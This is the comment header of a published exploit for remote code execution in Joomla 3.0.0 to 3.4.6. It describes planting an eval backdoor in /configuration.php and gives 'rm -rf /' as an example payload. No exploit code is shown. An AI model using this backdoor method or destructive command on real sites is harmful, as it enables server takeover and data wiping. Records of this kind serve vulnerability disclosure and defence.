# Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution  
# Google Dork: N/A  
# Date: 2019-10-02  
# Exploit Author: Alessandro Groppo @Hacktive Security  
# Vendor Homepage: https//www.joomla.it/  
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6  
# Version: 3.0.0 --> 3.4.6  
# Tested on: Linux  
# CVE : N/A  
#  
# Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41  
# Github: https://github.com/kiks7/rusty_joomla_rce  
#  
# The exploitation is implanting a backdoor in /configuration.php file in the root directory   
# with an eval in order to be more suitable for all environments, but it is also more intrusive.  
# If you don't like this way, you can replace the get_backdoor_pay()   
# with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')
